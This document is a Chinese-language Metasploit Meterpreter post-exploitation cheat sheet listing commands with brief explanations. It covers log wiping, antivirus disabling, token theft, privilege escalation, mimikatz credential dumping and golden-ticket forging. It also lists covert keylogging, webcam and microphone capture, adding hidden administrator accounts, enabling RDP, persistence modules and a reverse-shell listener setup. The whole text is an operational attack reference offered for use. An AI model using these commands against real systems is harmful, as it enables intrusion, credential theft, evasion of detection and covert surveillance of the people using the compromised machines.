MSF后渗透meterpreter使用

background/bg  将当前会话放置在后台sessions  查看所有会话  sessions -i id  进入会话 -k 杀死会话disable_unicode_encoding  禁用unicode字符编码enable_unicode_encoding  启用unicode字符编码exit  退出meterpreter会话get_timeouts  获取当前会话超时值set_timeouts  设置当前会话超时值 -c 通讯超时时间（秒） -t 重试总时间 -w 重试等待时间guid  获取会话的guidinfo  获取post模块信息irb  打开一个交互的Ruby Shellload  加载扩展machine_id  获取连接到目标机器的MSF IDmigrate pid值  将meterpreter进程迁移到指定pid进程中 quit  退出meterpreter会话run 执行meterpreter脚本或post模块uuid  获取当前会话的uuid值

cat  读取文件cd  更改目录cp  将文件复制到目标del  删除指定文件dir  列出当前目录下文件（同ls）download  下载文件或目录edit  编辑文件，若文件不存在，会新建文件getwd  显示当前目录getlwd 显示当前本地目录lcat  读取本地文件lcd  更改本地目录lls  列出本地文件lpwd  显示本地目录mkdir  简历目录mv  移动文件pwd  显示当前目录rm  删除文件rmdir  删除目录search -f  查找文件upload  上传文件

arp  显示主机arp缓存信息getproxy  显示代理配置ifconfig/ipconfig  显示网络设备信息netstat  显示网络连portfwd add|delete|list|flush 将本地端口转发到远程服务-l 监听的本地端口-L 监听的本地主机（可选）-p 连接的远程端口-r 连接的远程主机resolve 主机名 -f ipv4|ipv6  解析目标的主机名route  查看和修改路由表run autoroute -s subnet -n netmask 添加路由run post/multi/manage/autoroute 添加路由run autoroute -p  查看已添加的路由use auxiliary/server/socks_proxy  添加socks代理

clearev  清除事件日志steal_token pid  从目标进程窃取令牌drop_token  放弃令牌rev2self  返回之前的token权限getenv 变量名  获取环境变量值getpid  查看当前进程pidgetprivs  获取当前进程可用的所有权限getuid  查看权限getsid  查看用户的sidkill pid值  杀死进程localtime  显示目标系统的日期和时间pgrep -f -l 进程名  显示进程路径和PIDps  查看进程sysinfo  查看目标系统信息suspend -c 遇到错误也挂起程序 -r 恢复程序 shutdown  关机reboot  重启shell  进入目标cmd（进入cmd后输入chcp 65001 解决页面乱码）

webcam_list  列出摄像头webcam_snap  指定摄像头拍照 -i 指定使用摄像头的索引号 -p 指定图像文件路径-q 图像质量（默认为50，数字越大质量越好）-v 自动查看图像（默认开启）webcam_stream  播放指定摄像头的视频流webcam_chat  开启视频聊天webcam_mic  从默认麦克风录制音频-d 记录秒数（默认为1）-f 文件路径

enumdesktops  列出所有可访问的桌面和窗口工作站getdesktop  获取当前的桌面环境idletime  查看目标系统闲置时keyboard_send 模拟键盘向目标发送键盘输入keyevent keycode值  发送键盘事件keyscan_start  开启键盘捕获keyscan_stop  停止键盘捕获keyscan_dump 获取目标键盘输入内容 mouse  发送鼠标事件screenshare  实时观察远程用户桌面screenshot  获取目标桌面屏幕截图setdesktop  更改当前桌面uictl [enable/disable] [keyboard/mouse/all]  开启或禁止键盘鼠标

execute  在目标中执行文件-f 指定要运行的可执行命令-H 创建隐藏进程-i 创建进程后与进程交互-m 在内存中执行

run post/windows/manage/killav  关闭杀软

getsystem  将你的权限提升到本地系统的权限post/multi/recon/local_exploit_suggester 根据已有的漏洞，提供可能的利用方法

load kiwi  加载kiwicreds_all  检索所有凭据（已解析）creds_kerberos  检索kerberos凭据（已解析）creds_msv  检索LM/NTML凭据creds_livessp  检索存活的ssp凭证（ssp是最新登录到其他RDP终端所用的账号密码）creds_ssp  检索ssp凭证creds_tspkg  检索tspkg凭证creds_wdigest  检索wdigest凭证dcsync  通过dcsync检索用户账户信息(未解析)dcsync_ntlm  通过DCSync检索用户帐户NTLM散列、SID和RIDgolden_ticket_create  创建黄金票据-d  目标域的域名（必须）-e  以小时为单位的持续时间，默认为10年-g  组标识符-i  与票据关联的用户id-k  与krbtgt域用户的NTLM哈希-s  域的SID -t  存储票据文件的路径（必须）-u  创建票据的用户名（必须）kerberos_ticket_list  列出所有kerberos票据kerberos_ticker_purge  清除所有正在使用的kerberos票据kerberos_ticket_use  使用kerberos票据kiwi_cmd  执行mimikatz命令lsa_dump_sam  获取本地管理员的NTLM哈希las_dump_secrets  从Windows系统的注册表或Hive文件中提取保存的密码password_change  修改用户的密码或hash-n 已知的旧hash（不能与-p一起使用）-N 要设置的新hash （不能与-P一起使用）-p 已知的旧密码（不能与-n一起使用）-P 要设置的新密码（不能与-N一起使用）-s 执行操作的服务器-u 待修改密码的用户名wifi_list  列出当前用户的wifi配置文件wifi_list_shared  列出共享的wifi配置文件(需要SYSTEM)  

使用getgui脚本（目前新版本不支持）run getgui -u username -p passwd  创建账号（需要system权限）shell  进入目标cmdchcp 65001  解决cmd乱码net localgroup administrators username/add  将创建的用户加入管理员组exit  回到meterpreterrun getgui -e 开启远程桌面

使用post/windows/manage/enable_rdp脚本（推荐使用）run post/windows/manage/enable_rdp  开启远程桌面run post/windows/manage/enable_rdp username=rdpname password=rdppass  添加账号并开启目标远程桌面

终端输入 rdesktop x.x.x.x 使用创建的账号登录远程桌面

load sniffer  加载sniffer模块sniffer_interfaces  查看网卡sniffer_start [interface-id]  在指定接口上进行抓包sniffer_stop [interface-id]  在指定接口上停止抓包sniffer_dump [interface-id] [pcap-file]  下载捕获的数据包sniffer_release [interface-id]  释放在指定接口捕获的数据包sniffer_stats [interface-id]  查看捕获的数据包信息

reg  修改注册表-d 要存储在注册表值中的数据-k 注册表路径-r 要连接到的远程计算机名称（使用当前进程凭据）-t 注册表值类型-v 注册表值名称-w 设置KEY_WOW64有效值（32或64）enumkey [-k <key>]  枚举注册表项createkey [-k <key>]  创建注册表项deletekey [-k <key>]  删除注册表项queryclass [-k <key>]  查询所提供键的类setval [-k <key> -v <val> -d <data>]  设置注册表值 -b 使用二进制blob设置REG_BINARY类型的二进制数据deleteval [-k <key> -v <val>]  删除注册表值queryval [-k <key> -v <val>]  查询键值数据内容

load incognito  加载incognito模块list_tokens -u  查看可用的用户令牌list_tokens -g  查看可用的用户组令牌impersonate_token  模拟指定的令牌add_group_user <groupname> <username>  添加用户到组中add_localgroup_user <groupname> <username>  添加用户到本地组中snarf_hashes <sniffer_host>  捕获目标系统所有活动的哈希值

exploit/windows/local/persistence

post/windows/manage/persistence_exe

exploit/windows/local/persistence_service

use exploit/multi/handler 使用监听模块set payload xxx  设置payloadset lhost xxx  设置监听地址set lport xxx  设置监听端口run 开启监听